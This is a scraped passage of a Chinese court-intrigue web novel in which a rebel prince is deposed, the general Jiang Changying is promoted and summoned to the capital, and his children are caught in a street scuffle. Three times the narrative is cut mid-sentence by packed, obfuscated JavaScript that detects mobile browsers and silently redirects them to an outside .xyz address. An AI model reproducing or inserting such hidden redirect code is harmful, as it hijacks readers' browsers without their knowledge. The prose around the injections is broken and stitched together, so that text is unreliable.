“我乃闲竹谷土匪,我愿招安。”为首的见势不妙,立即认栽,但是这认栽出乎顾羌行意料,既然宁愿自称是匪,也不愿供出蔚王。 顾羌行斥道:“不见棺材不掉泪,等我抓住你家‘山大王’,到叫你看看朝廷愿不愿意将你招安。” “大人!”一名小将跑来,凑在顾羌行耳边凝重道:“没看到沈大人。” 顾羌行望了眼宽阔的祝安河,水势不急,缓缓延伸向东南。 ****** “此处偏东南向,是向阳山,按照沈大人之前给出的信号,就是这里。” 倪奂领兵五千,停在闲竹谷附近山坳中。 “这小子也没个音讯了。”倪奂凝眉咬了咬牙,对身边的参将说:“你听我信号,我先去看看。” “千户大人,你……” 倪奂回头,参将支支吾吾,“你小心啊,凡事给个音讯,别,别学沈千户。”最后几个字小心翼翼,几乎没声,倪奂笑着给了他一拳,打完就走了。 倪奂按照直觉以及沈溟之前信号发出的位置,终于找到了主力军营地和主帅营帐,刚要进入,觌面飞来一柄短剑,倪奂格挡,两人过起招。偷袭之人不敌倪奂,刚被拿下,倪奂正要小施惩戒,逼供出点情报,却听营帐传来赞许声,“不错不错,我今日总算把你反手摘星的手法给看清楚了,叫你藏着掖着,今天还不是在我面前露了招。” 一听就知道是沈溟的声音。 “你没死啊?”倪奂放了心,嘴上却没好气。 沈溟从营帐中走出,“看你这架势,是只身潜入敌营,英雄救美来的?” “他是谁?”倪奂看着年轻将士。 “蔚王军中一名百夫长,被我威逼利诱暂时为我效力。” “那……”倪奂环视一周。 “你是想问这山中蔚王的主力军?”沈溟转着手中一柄折扇,“不巧,不久前,有队主力人马叛逃,至今下落不明,屋内几个首将被我拿下了,只能先带回去审了才知道。” ****** “你说叛逃,可有证据?什么时候叛逃的。” 顾羌行、倪奂和沈溟等人向晁三易等人仔仔细细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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观澜仓侵袭案牵涉甚广,下到邢柏年、曹忠,上到梁仪善、秦迅等一众官员相继获罪,然而事情仿佛一发不可收拾,连日上朝,每天都会新增几名官员不在队列中。蔚王自入敬天司再也没有出来,其谋逆的消息不胫而走,起初有人并不相信蔚王失势,直到宣中宁氏商人宁曲道的案子开启重审,众人才幡然醒悟蔚王此次或许真的大难临头,无力回天,曾与之有些往来的人都开始战战兢兢…… 乾泽九年冬月中旬刚过,三司会审进入了尾声,涉案众人定罪论刑,内阁拟定奏疏上呈御前,乾泽帝很快批了红。户部戴原因为对于蔚王连年上缴国库的粮有失察之责和受贿之嫌,被罚了俸,考绩评级降了两个档,已经算是不幸中万幸。 蔚王所牵涉的案子虽然已经查清,内阁将结果呈奏,并没有定罪,等着乾泽帝处置。 敬天司外多了几重守卫,蔚王在静室内独坐,屋内空旷,唯有太师椅两把,桌案一张。乾泽帝走进去,顺着蔚王目光,看到了院内桃树。 “陛下,桃树杰,果却不杰,为何还种桃树?”蔚王目光不动,问道。 “你那天不是回答过朕?你觉得你说的不对吗?” “那时对与错不要紧,只要不惹怒陛下,能让陛下高兴,我的回答就是对的。要知道,揣摩圣意并不明智,就算揣摩对了,还得斟酌说出来会不会掉脑袋呢。” “那现在呢?” “现在,我是真想知道,陛下心中所想。” “为何?” 蔚王转过头,轻笑看向乾泽帝,“我想死得明白。” 28.擢升(下) 敬天司院中为何会种桃树? 乾泽帝走近窗,“父皇说,这桃树,本就不是为了取其果的,而是为了发其枝,观其花,所有价值只在这树的本身,不在结果,不在将来。” “哈哈……哈哈……”蔚王大笑,一如当初乾泽帝听到自己的错误的回答时那样。 乾泽帝也不怒,只看他。 “陛下,只看现在,不看将来,先帝明智,陛下聪慧,确实如此啊。当年我和庆东军有私交,庆东醒茶港盐提司纳兰通又是我郎舅,陛下正是看重这层关系,才对我青眼有加。如今这层关系有损陛下清政,也是到了拔除的时候了。” “是你不知收敛,肆无忌惮,才造成了如今的局面。你贪墨军粮真的只是爱财吗?庆东守备历来都是永益城预备勤王军,打着守备的名义领的却是保卫皇城和帝王的职责。你与庆东交好,朕信任你,多年来从不追究,你与纳兰通以权谋私朕也睁一只眼闭一只眼,但是闲竹谷三万兵马为何而设,你心里清楚。你拿着朝廷恩赐的皇庄私养亲兵,是司马昭之心。朝廷将你赵氏喂养成一颗参天大树,不求你为君为民遮风挡雨,却也不容你结出硕然恶果。” “陛下如今怎么越发胆小了?”蔚王继续笑道:“二十一万兵马也只是贬黜江南,如今区区三万兵马,陛下就这般激怒,看来这帝王之位,陛下这些年来坐的也是战战兢兢,夙寐难安吧。” 像是一只悬了许久的利剑,握在蔚王手中,此刻正中靶心,乾泽帝被刺痛了。他豁然转身,怒视蔚王。 蔚王迎着这道怒火,不惧不畏,“陛下还说只看现在,不看将来?曾经的季鹰军并未表露不臣之心,反而屡立战功,乾泽十八年,暮北战事吃紧,姜长鹰只是稍有纰漏,陛下仅凭乔广陵一人所言,就将人发落到江南,难道不正是畏惧将来吗?你害怕季鹰军功高震主,害怕天下人心中只敬畏姜长鹰,才会迫不及待伺机打压。”蔚王盛怒狂啸。 乾泽帝生生被这番话噎得险些倒退。坚决道:“胡说,分明是姜长鹰害得绥宁险些失守,朕才……” “真的吗?”蔚王不等乾泽帝说完,“可陛下分明清楚,绥宁并未失守,也分明知道绥宁城外的胡蟾国和赖食国来势汹汹,对北境势在必得,是姜长鹰打的他们挫伤元气,以至于北境这么多年一直都是小打小闹。”蔚王站起身,紧逼道:“陛下,看看这整院的桃树,看看这威严肃穆的敬天司,他们都是你畏惧功臣,畏惧良将,畏惧将来最好的证明!” 乾泽帝像是被钉在原地,少顷,他目光流转,怒意化为悲凉,“倘若有朝一日,暮北二十二万军剑指永益城,闲竹谷三万兵马足以起兵勤王吗?” 蔚王微微一怔,张了张嘴,不知道怎么回答。 “三万兵抵挡不过暮北军,就连朕的五城兵马司都抵挡不过,勤王就是笑话。但是你能联合庆东军,届时就是八万兵马听你一人号令,从闲竹谷和庆东,整军直达皇城只需半日,永益城你熟,就算被你买通的守城将士不给你开城门,你肯定也有办法进城。”乾泽帝轻轻一笑,仿佛往日与他闲谈政务,“八万军,守城够,勤王说得过去,挟天子也正好。”蔚王弱了气势,乾泽帝逼近他,看着他的眼睛说:“总而言之,恰到好处。” 蔚王被看穿,彻底跌坐下去。 ****** 永益城已经下过几场雪了,冬日早朝对官员而言格外冷。 “蔚亲王赵瑭,仗权欺民,逼迫良善,结党营私,盗换军粮,勾结奸佞,祸国害民,人神共弃,自今日起,褫夺封号,降为庶人,幽禁天牢,以告天下,咸使闻之。” 邱侣公公声音清澈,响彻朝堂,在这圣旨昭告声中,多少人心中称快,觉得蔚王这国之蛀虫终于拔除;又有多少人暗自庆幸,觉得幸好自己明哲保身,或当初没能入得了蔚王的眼与他走的过近…… 展光前行礼道:“陛下,江南观澜仓侵袭案和云城海贼攻城虽已查明原委和幕后真凶,但是这两个案子中,只定这些人的罪责,怕是还不能算是完结。” 乾泽帝不明,“江南的案子里还有未了之事?” “该罚的罚了,但是该抚慰的还没有抚慰,该赏的,还未赏。”张松也补充道。 “两位爱卿,不妨直说。” 展光前和张松相觑一眼,不敢直说。 晁三易明白这二人的顾虑,于是行了一礼,从阁部蔡申手里拿过两道奏疏,“陛下,这两道奏疏,是不久前江南布政史陆谦原和云城主帅段悠宏呈递的。内容涉及江南案情,便在老臣手中暂存了两日。” 邱侣接过,呈给乾泽帝。 “蔚王、邢柏年一众罪恶滔天,江南却没有发生不可挽回的损失,三司查案,一度陷入僵局。直到这两道奏疏递到内阁,案情推进才迅速有了眉目。” 这案子审得久,越到后面,众人也不再拘泥于邢柏年等人如何筹谋抢劫观澜仓,为何勾结海贼进犯云城,而是放眼始末。观澜仓如何化险为夷?云城又怎样转危为安?如今晁三易这么一提,原本就有疑惑的朝臣等待解惑,而还没想到此处的官员也陡然好奇起来,纷纷想知道两封奏疏的内容。 晁三易接着道:“先说云城,当时情形十分危急,海贼出其不意,云城险些失守。” “南境在段悠宏戍守下太平了多年,段悠宏一时疏于防备也是情有可原。”乾泽帝边说边打开段悠宏的奏疏,“……西城险失守,姜长鹰率三百部下于东城坚守,又前往西城支援……”等字眼划过眼眸,段悠宏在奏疏中请罪,说了云城一战折损,又言姜长鹰之功劳,恍然间,乾泽帝像是回到了多年前,段悠宏的奏疏透着熟悉之感,像极了曾经暮北传回的一封稀松平常的军情奏报,而彼时翻阅奏报的,是自己的父皇——天元帝。 “陛下——” 乾泽帝回神,邱侣又递过一叠云城战事详述,其中包括前后用兵、辎重、工事等调用和折损情况。乾泽帝摆摆手,没看。 底下疑惑声渐起,想知道云城危急时刻,是谁力挽狂澜。 “兵马司沈大人原先说,当时在瑞城,曹忠说出观澜仓和云城相继有危,沈大人委派坞城指挥史姜长鹰押解土匪去云城充军,那姜长鹰写了封家书后,便听从沈大人之命,去了云城。”晁三易持笏,不急不慢的说:“坞城指挥史姜长鹰在云城以东与海贼遭遇,退敌后又赶往西城,在城破之前,及时增援云成军,如此,海贼才没有得逞。只不过,也因此,姜长鹰押解的土匪五人中有四人趁乱逃走了,至今下落不明。” 有官员置疑,“姜长鹰在江南为官多年,与云成军相熟,替他表功,也好功过相抵。” 展光前是个直性子,但是却有自己脾气和小聪明,他站出来,一副铁面无私的样子,说:“陛下,姜指挥史本职是押解土匪,要犯逃跑,该施以罪责,云成军历战海贼,虽有损耗,不过最终守住城门,该表抚慰。” 此言一出,众人顿觉不妥。 内阁阁部李明维道:“陛下,朝臣首要是忠君爱国,凡事都有轻重缓急,守住国土不让贼人进犯,乃大忠大义,小小贼子逃跑了,我大程各地巡捕衙役互通互联,也不是吃素的,还愁抓不到人吗?” “陛下,李大人所言有理,臣复议。况且地方土匪作乱,为官者逃不了责任,民无度日之本,才会落草为寇。抓贼只是扬汤止沸而已。”张松道:“何况,那将指挥史不仅在云城立了功,其长子姜南阗在父亲的家书中得知会有贼人侵袭观澜仓,提早做好布防,小小年纪,亲率守备军抗贼,才确保观澜仓军粮没有闪失,可以说令人敬佩。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411109|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此言一出,朝堂上隐约有赞叹之声。隐匿多年,曾经的将军宝刀未老,其子也青出于蓝,谁人不在心里暗叹:果然虎父无犬子。 乾泽帝也看了陆谦原的奏折,其中言明观澜仓出事时姜南阗不仅守住军粮,还诱敌至海边,最后将人一举擒获,前后种种,果然与上月呈奏相比更详实。 “陛下,三司会审确保人证物证俱全,姜长鹰职守江南多年,与云城段将军相熟是事实,臣有一人证,兴许可御前问一问,可解众人疑虑。” 展光前一板一眼,一副生怕三司会审落人话柄的样子,乾泽帝无奈,“是谁啊?” “军粮传令官。” 乾泽帝敛眉,看向邱侣。 邱侣立即道:“陛下,先前说过,此人是司礼监于霍。” 乾泽帝微微颔首,邱侣喊道:“传——于霍!” 于霍叩首。 展光前问:“于霍大人,当初你传军粮调令,见到姜长鹰在何时?何处?” 于霍战战兢兢,“回陛下,回大人,奴才日夜奔袭至江南,前方速报说姜指挥史在云城,奴才快马加鞭,于十月中刚到云城,到时姜指挥史在云城军营歇息修整,后下官于东营教场递交军粮下拨令,段将军也在。” “可有说什么。” “姜指挥史问段将军是否收到他给的战册,让他视情况加强布防,其余便是辞行之语。”于霍跪在地上,想了想,“对了,奴才刚到云城时,见到云城皆是一派战后残破的景象,云成军正在修整城防。” “虽如此,那你如何确定是姜指挥史击退了海贼?”张松问道。 于霍莫名,“回大人,奴才从未说过是姜指挥史击退了海贼。” 张松噎在,于霍的确从未说过,就连到了永益城,云城的事也从未自他口中传出一星半点。三司会审过程中最忌有人空穴来风,流言四起,如此想来不禁对这个于霍生出了欣慰敬佩之心。 “不过……”只听于霍小心翼翼补充道:“这事在云城和江南等地早已人尽皆知了。奴才虽未亲眼所见,却也听了不少。” 于霍并非目击人证,话语却已力证了姜长鹰之功。 百官似有所感,殿内窸窸窣窣,乾泽帝却在这高殿之上恍了神,蔚王在敬天司说过的话萦绕脑海。 “曾经的季鹰军并未表露不臣之心,反而屡立战功……陛下仅凭乔广陵一人所言,就将人发落到江南,难道不正是畏惧将来吗?” “你害怕季鹰军功高震主,害怕天下人心中只敬畏姜长鹰,才会迫不及待伺机打压。” “看看这整院的桃树,看看这威严肃穆的敬天司,他们都是你畏惧功臣,畏惧良将,畏惧将来最好的证明!” —— “陛下!”吏部宋庸是个老臣,年愈七十,还是耳聪目明,他缓缓说道,“陛下,历朝历代皆有奸佞,凡圣君治下,必定会有忠良频出,为国斩奸除恶,此次江南诸事能够迅速平定,是国祚昌隆之象。” 老者话语温和,却有平定人心的效果。 “宋老所言,极是。”乾泽帝顿了顿,冲满朝文武道:“云成军临危不惧,力战海贼,坚守南境,是为大程军五方军之楷模。内阁和户部依据奏折,核拟云城战损,另,朕要抚慰七万云成军,你们拟好旨意,呈奏上来给朕看。” 内阁和户部领了旨。 “坞城指挥史姜长鹰,抗击海贼,居首功,擢升为江南都指挥使,江南九城守备,皆归其节制。姜长鹰长子姜南阗,镇守观澜仓功不可没,替任其父坞城指挥史之职。”众人噤声,朝堂上落针可闻。 乾泽帝接着说:“冬月将尽,永益城将迎来冬遇朝贺佳期,趁此,就令姜长鹰携妻子儿女,一同入朝述职吧!” 朝堂山乎陛下英明。 29.入都(上) 曹忠发配在即,展光前经案无数,对这种失旦之鸡从来只有鄙夷唏嘘。可是看到曹忠佝偻着身接过案碟和发配刑令的时候,展光前说不出滋味。 “曹忠。”展光前忍不住主动开口,“你曾说自己所犯罪孽,始于天元十七年参与了盗换军粮,那你为何当时不立马说出真相?你口口声声说邢柏年和梁仪善等人以权相逼,害的你不得不犯罪,那你为何不反过来利用这一点拿捏邢柏年呢?其实说到底都是你的托词,你看到自己从一个小小的城防佥事摇身一变成为一城知尹,你看到与他们合作能得到实实在在的好处,你便决定与邢柏年梁仪善他们同流合污,其实那时候的你,根本没那么多纠结与内心挣扎。我想,你甚至有点庆幸吧?” 曹忠攥着案碟和刑令,朝展光前拜了拜,转身要走。 “你庆幸自己寻得了这样一条捷径!”展光前肯定地说。 曹忠停在原地,目光落在身前刑狱的巷道上。 展光前走到曹忠面前,看着他的发心继续说:“你为官几年就看到官场的黑暗,你从未反抗黑暗,在你内心底里,你觉得这种黑暗是司空见惯的,并且觉得这就是官场,你屈服于权势,依附于权势并得到利益,最终循着这黑暗势力一条道走到黑。其实从始至终都是你自己的选择罢了。没有天元十七年那场军粮案,你曹忠,也很难成为青史留名的好官。你的苦衷,是否真的是苦衷,只有你自己心里清楚。” 曹忠肩头微微耸起,又缓缓落下。他深深叹了口气,道:“寺丞大人,你知道吗?永益城的刑狱地面,建造得好生平坦,连个坑洼都很难见。走在这样的地面上,很舒服,真的很舒服。” 展光前觉得自己何必多费口舌,于是说:“从永益城到擎南郁州,只这最开始的几步是平坦的,往后万里流放路,望你行之思之。” —— 风饕雪虐,站在东郊悬福寺,能够俯瞰半个永益城,在这皑皑天地间,流放小队如同沧海中的几颗粟粒,做乔府女使打扮的豆蔻女子,呆望着消失在雪中的队伍,红了眼眶,泣泪无声。 “曹忠的女儿你打算怎么安置?” 乔广陵和沈溟站在悬福寺塔顶,说是赏雪,但是二人兴致都不高。乔广陵少见的愁绪外露,“永益城不可久待,送到宣中,交给花师。” “此次能够顺利找到曹忠的女儿,幸亏有花师,曹忠愿意将蔚王一党供出来,他女儿起到了关键作用。” “父母爱子,则计深远。这大概是曹忠此生做的最后一件最为有价值的事情了。” “当初宁老前辈送其女入宫,何尝不是为了宁一羊这个独女将来能够毫无障碍的接手宁家祖业,谁知却落得这样结局。不过我也是才知道,宁曲道是花师的外公,怪不得花师一出山,就能一曲名动天下,如今宁家沉冤得雪,花师也算夙愿得偿。” “可惜世间再无宁老这样的乐艺大家,也没有宁一羊这样绣技超群的绣娘。”筹谋许久迎来了想要的结局,但是乔广陵仿佛并未因此感到慰藉,他语中带着悲凉,令沈溟见之不忍。 沈溟年岁不过二十二,对这些往事记忆并不深刻,“据说当时宣中丝绸和刺绣天下无双,若不是宁氏没落,恐怕也没有如今江南紫绣坊李家什么事了吧。” 乔广陵点点头,“如今的宣绣不如当年,这些年也没有出过宁家那样的绝品。但是宣绣昂贵,还要依托宣丝这样上乘的料才能养出好的绣娘,以宁家当时财力,能出一个宁一羊虽然顺理成章,但也看几分运气。”乔广陵忽然想到什么,“对了,邢柏年劫军粮,居然能想到利用李家商运,这李家……” “乔兄是怕李家和邢柏年一派有勾结?”沈溟抱臂远望,漫不经心地说:“家大业大,想要独善其身,几乎不可能,何况是在邢柏年辖制下。” “以前不可能,以后却不一定了。”乔广陵望着雪,目光怅然,却又坚定。 沈溟知其深意,微笑道:“是啊,以后,定然会不同。” ****** 大程国三年一次的冬遇大典即将来临,又逢年尾百官考绩,永益城空前热闹,前来朝贺的有漂洋过海远道而来的西域国节度使、周遭邦国首领,也有各地藩王;入都述职的有各军统帅,地方臬台,还有都指挥史等掌管大程一方军政等要职官员。 自江南北上,跨恩江,姜长鹰举家奉旨入朝觐见。到了永益城,姜长鹰先去吏部交了职档,领了官印官服等物,又去内阁递了觐见奏疏,就等司礼监宣旨召见。 “陛下,江南新任都指挥使姜长鹰携家眷入都,觐见奏疏已递至内阁,待圣上御令召见。” 朝堂上,内阁按流程呈奏,乾泽帝点头,司礼监邱侣传旨,姜长鹰自轩天门外入内,虎视阔步,走在告别了十年的永益城朝见之路上,百官夹道,那些或新或旧的面孔,那些盛满好奇、审视、打探,或是艳羡、钦佩、敬畏,亦或是嘲讽、鄙夷、不屑的眼神,皆成逸景。 “臣,江南都指挥使姜长鹰,叩见陛下!” 没有剖白忠心,连一句问圣躬安都没有,平淡谦恭,一如曾经,就好似眼前之人只是打了一场较为漫长的边塞之战,方才凯旋。 邱侣看向乾泽帝,见其久久没有声响,刚要开口轻声提醒,乾泽帝恰好从冥想中抽离。 “姜爱卿!” 跨过十年的时间长河,曾经的皇三子自登基来,第一次在这巅峰之位俯视他,帝王之威透在这三个字里,不能说不鲜明。 “击溃海贼,力挽云城危局,云城之战,辛苦了!” “陛下谬赞,此战全靠巡按御史沈大人提前告知,还命微臣多带人马,臣才侥幸逃过海贼的偷袭,至于云城,也是云成军奋力抗击的结果。” 乾泽帝点点头“云城一役,段悠宏与你皆有功劳,大程有尔等忠臣良将,是大程之幸。” 面对帝王盛赞,朝臣莫不是诚惶诚恐,立即说陛下乃圣明君主,能为今上分忧,才是臣子三生有幸云云,但是姜长鹰一派浩然刚正之姿态,岿然不动的样子,好像没有这样的觉悟。朝堂上,也总有一些眼力过人者,不会让君主的示好得不到回应。 眼力过人的周岑适时开口,“陛下,大程国力鼎盛,八方拜服,不愁没有怀抱经世报国之志的英豪,但愁没有提携玉龙的契机,国有姜指挥史和段将军之朝臣,是大程国的幸运,也是必然。” 内阁蔡申出列,附言道:“是啊,朝有圣明君主,野有报国栋梁,此乃大程国盛世景象。吾主圣明。” 朝臣齐声颂道:“陛下圣明!” 乾泽帝微微抬手,示意朝臣噤声,目光重回姜长鹰,“云城主帅段悠宏留在南境处理战后重建事宜,这一战形式之严峻可想而知。不过朕也知道,此次江南观澜仓情形之危急,不亚于云城,之所以能够守住,全赖姜大人长子。朕听说此子智勇双全,不仅平了匪徒侵袭,还将贼子一举拿下,给三司会审提供了大大便利,这样的英雄少年,朕也十分想见见。” 姜长鹰试图做一丝挣扎,“陛下,犬子此次全凭运气,也是得了沈御史提点指引,才能侥幸取胜。何况观澜仓所建之地,是圣祖爷考虑万全之后钦定的,如何能够轻易教人突破。”姜长鹰这话听着是自谦,但是却说到了乾泽帝心坎里。 乾泽帝顺着他的话说道:“正因为从圣祖时起,观澜仓便是大程军粮主要供给,也是事关边关战事的要紧事,所以朕才会在坞城单设一个指挥史的职位,而这坞城指挥史的职位,如此至关重要,若非一般人,是不能胜任的。” 张松出列:“陛下所虑深远,姜大公子实乃坞城指挥史不二人选。所谓虎父无犬子,且不说他自小承教姜大人,臣还听闻,姜家大公子热爱疆场,此前还在云城军中履职录用,为云城军参将。可见姜大公子此战能够大获全胜,并非全凭运气,乃自身实力使然。” 皇帝说话,臣子附和,是朝堂常态,而张松此前作为江南案件主审, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426186|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这番话却显得多了几分真挚,毕竟张松为人耿介,作为刑部尚书,甚少对外评述官员,在他看来,就算一开始过从亲密的朝臣,来日说不定就会犯下案子,干脆谁都不会讨好往来。 “陛下。”吏部老臣宋庸也道:“腊月十五便是冬遇大典,各国使臣纷纷来朝,不日便会齐聚永益城,届时普天同庆,姜指挥史此次携家眷入都,正好可以与天子同乐。” 姜长鹰心知,圣旨明令他携妻子入朝就不会只是朝见述职那么简单,而妻子最不愿看见的——姜南阗入局朝堂,也已成定局。 ****** 永益城近西郊,是安置邦国首领、使臣或藩王及入朝述职官员的旅邸。各邸名称不同,对应接待的人也不同,如接待南境部落使者的叫南陵邸,接待北方鸠勒等诸国使臣的叫燕然邸,还有东夷的扶桑邸,西域波斯等国的掩磁邸等。而入朝述职,擢升受召来永益城的大程国官员,则安排在规模和占地最广的宴清邸。整片旅邸与永益皇城之间隔着繁华闹市、达官贵戚府宅。 五城兵马属司奉旨前往旅邸派发生活配给,说是派发配给,实则也是巡查,一方面防止刁民流寇生乱,另一方面防止各国使臣别有居心。 配给送到宴清邸姜长鹰处,下属们清点数目,录完档,为首的千户客客气气祝贺姜长鹰擢升,姜长鹰回以官礼,就在这个节骨眼,一少年从屋外兴冲冲直奔厅内,来人满面春风,但是与兵马属司千户照了面之后,少年脸色肉眼可见的暗淡下去。 “指挥史!”他收回目光,朝姜长鹰行了个礼。 “丁公子,你慢点跑,指挥史他……”后面故作老成持重的江出边走边劝,才走进来。见一屋子人,立即收起随意,也恭恭敬敬朝姜长鹰行礼道,“指挥史。” 姜长鹰平心易气的说:“千户大人勿见怪,这两位是我的卫将,习武粗人,随意惯了。” 千户倪昌看了眼这两名卫将,心道姜长鹰定是对“粗人”二字有异于常人的看法。 “无妨,大人当世英豪,身边跟随的自然也都是俊杰。倪某配给已经送达,就不叨扰了,在旅邸期间,姜大人有什么问题派人知会兵马属司的人即可。此后配给每三日派发一次,大人定一名接应的人即可,我等按照章程办事,大人就不必和我们客气。” 姜长鹰拱手,“千户大人费心,姜某先行谢过。” 五城兵马属司的人走后,姜长鹰看着配给,轻叹了口气。 “文鼎。”宴深看出姜长鹰所想,安慰道:“既来之则安之吧。” 姜长鹰看向宴深,“你不是……” 宴深微扬嘴角,摇摇头,“自从圣旨宣我们全家来永益城,我就知道会有这么一天。何况,看得出来,阗儿是开心的。如今虽然要在此地多待一阵子,但是至少咱们一家人都在一起,我也没什么好抱怨的。” 圣旨抵达姜府的时候,宴深表现出从未有过的不安,后来得知,不仅姜长鹰被任命为都指挥使,就连儿子姜南阗也顶了父亲的职,那一刻,宴深对官场和朝堂抵触达到了极点,但是真的到了永益城,她又仿佛平静了许多。现在她只想一家人平安顺遂,相守陪伴在一起。至少这一点,没有被改变。 江出说:“冬遇大典是腊月十五,等回到江南,府里上下还可以一起过个热闹年。对了,我写封信给为霜兄,把公子和小姐们稀罕的东西都备下。别到时候咱们回去还要现买。” 丁越兴致缺缺,无声出去了。 “……”望着丁越远去的背影,江出不明所以“小丁越他,怎么了?” 宴深和姜长鹰对视一眼,从丁越见到倪昌的那一刻,他的脸上就肉眼可见失去了所有的颜色,宴深,只道:“许是,去找几个孩子们了。” 姜长鹰立即头疼起来,“江出,这段时间你和黄碚盯着点,少让他们出去玩闹,永益城不比江南,别惹出祸来。” 江出面露难色,“这个……我们尽力吧。” 30.入都(下) 旅邸毗邻是永益城最为热闹繁华街市所在,到处都是姜家孩子们喜欢的新鲜玩意儿。丁越扶额叹气,觉得那封写回江南置办年货的信纯属多余,只怕光是在永益城买的运回江南都堆不下。 “丁哥哥,永益城多好玩啊,怎么不见你露笑脸啊?”姜南苒束着发髻,甩出一绺发尾,远看像是个小公子。再对上她大方无拘的性子,格外讨人喜欢。 “小姑奶奶,这你都看出来了?”丁越逗她。 “阿姐又说错了,丁哥哥明明平时就是这样,只不过是到了永益城前两天格外高兴而已,如今看着才觉得他仿佛是不高兴。”姜南羿最爱和三姐江南苒拌嘴唱反调。 “是吗?那你说说,来永益城一路奔波那么累,为什么头两天还能高兴,现在轻松自在到处玩反而不高兴?” “到处玩就高兴吗,丁哥哥又不是小孩子,我看他不喜欢得闲。”姜南羿还摆出事实,“丁哥哥近来揽下了接应配给的活,每次接应之前丁越哥哥都很开心,等送配给的倪千户一走他就不开心了。” 江南苒白了一眼,仰着脖子道:“我才不信,为什么只有小孩才爱玩,长大了就不爱玩了?” “那,那是因为……”姜南羿说不出所以然,转头问姜南疏,“二哥,你说为什么?” 姜南疏微微一笑,“我不知道。” “二哥,怎么连你也不知道?” 姜南疏一本正经,“嗯……因为我还是个孩子。” 这大孩子哄小孩子的一幕,让边上的姜南阗和黄其甫忍俊不禁。丁越反而有点不自在,“你,你们笑什么?” 黄其甫刚要解释,姜南阗却反问丁越,“那丁哥,是遇到什么成年人的烦恼了呢?” 丁越气不过,威胁道:“若你们都逛得差不多了,我打暗号让高义叔和江出兄来接你们回府。” 几人正说着,忽听一声巨响盖过了周遭的鼎沸人声,街市顿时乱作一团。这边姜家一行望过去,只见后方不远处的阁楼上掉下来一人,阁楼虽然不高,但听声响也摔的不轻,那阁楼栏杆都被踹破,七零八落飞得到处都是。果然,地上躺着的是一青年,这青年身形瘦弱,面色则痛苦不堪。抬头反观楼上,于阁楼残破处,向下俯视的却是一七八岁孩童。长得盛气凌人,一派富贵气。 恃强凌弱! 姜南苒路见不平,仰脖子指着那人道:“喂,那小孩,是你将人推下来的吗?” 那孩子看向下面,先是睁大眼睛,而后皱了眉头,没有搭话。 黄其甫将地上青年扶起,那人摸着胸口,艰难道:“他,他踹的我,抢我的东西,我不能,不能给他。” 阁楼上男孩不知是被姜南苒几句话威慑到了还是自知理亏,脑袋一缩。 “别跑!”姜南苒说罢就要上楼去追,却被丁越拦住。“小姑奶奶,冷静。” 楼上男孩转头欲溜,不料姜南阗不知何时已经堵在他身后。 “闪开。”男孩恶狠狠道。 姜南阗也不怒,把眼前的孩子打量了番,“谁家孩子,可有人来认领?” 周遭都是看热闹的,无人应声。“小弟弟,告诉我你家在哪,我送你……” 姜南阗一语未完,就听嘭的一声,阁楼里顿时烟雾弥漫,呛得所有人连连后退,胡乱摸索着直都要往外跑,推搡间乱做一团。守在外面的人不知发生了什么,也开始着急起来,丁越正要进去一看究竟,此时姜南阗扶着柱从阁楼残破的缺口处探出半个身子。 “公子!你没事吧?”黄其甫担心地问。 “有看到那小孩逃出来吗?” “……并未看见。”黄其甫摇头道。 竟在这么多人眼皮底下逃了!江南阗也认定这孩子来路不那么简单,还没来得及多想,姜南阗眉宇一皱,忽而严肃的喊了声“丁越哥!” 丁越一转头,身边方才倒地不起的青年竟然不觉中跑出老远,丁越看着那道背影,一股莫名熟悉之感涌上来。眼看那青年就要消失在长街尽头,丁越二话不说追了上去。 “谁在闹事?”一声暴呵自街巷另一端传来,伴随杂沓马蹄声。 “是巡防司的人!”众人堆里不约而同喊道,随即人群像油锅里呲了水,再次炸开花,纷纷簇拥往周遭挤。都要离事发现场越远越好,谁也不想被当做闹事者抓到总属司衙门盘问一番。 “糟了,巡防兵,被他们抓住了又要给指挥史惹麻烦了。” “不能给爹爹惹事。”姜南阗也不逗留,拉起呆在原地的姜南疏和江南苒就跑,却不知道其实他们几个最为惹眼,姜家儿女虽都是有些功夫在身的,但此刻陷在人群里也是施展不开。 姜南疏道:“大哥,咱们得分开,你跟三妹妹去往朝南的巷子口,我往东。”说罢就钻进朝东的巷口了。 人头攒动,后有追兵,姜南阗也顾不得多说,拉着江南苒往南面奔去…… ****** “人找到了吗?” “回千户……还,没有!” 沈溟啪的一声收了折扇,边上站着的属兵有些怯懦。吞吞吐吐,接着说:“巡防那边已经交代过了,凡有穿着不似寻常百姓,在街市独自溜达的,举止投足不像普通孩子的,都要仔细盯着。” 沈溟摇摇头,“这可是永益城,达官贵人这么多,富贾名流到处都是,这范围也太大了。”想了想还是忍不住,“算了,备马。” 行至外院,外廊一属兵急匆匆赶来,见了沈溟行了个常礼,“报大人,恩悌巷今日有人闹事,现在巡防那边正在抓人。” “抓人?意思是闹事者跑了?”沈溟抓住重点问道。 “是。” “在巡防兵眼皮子底下跑的?” 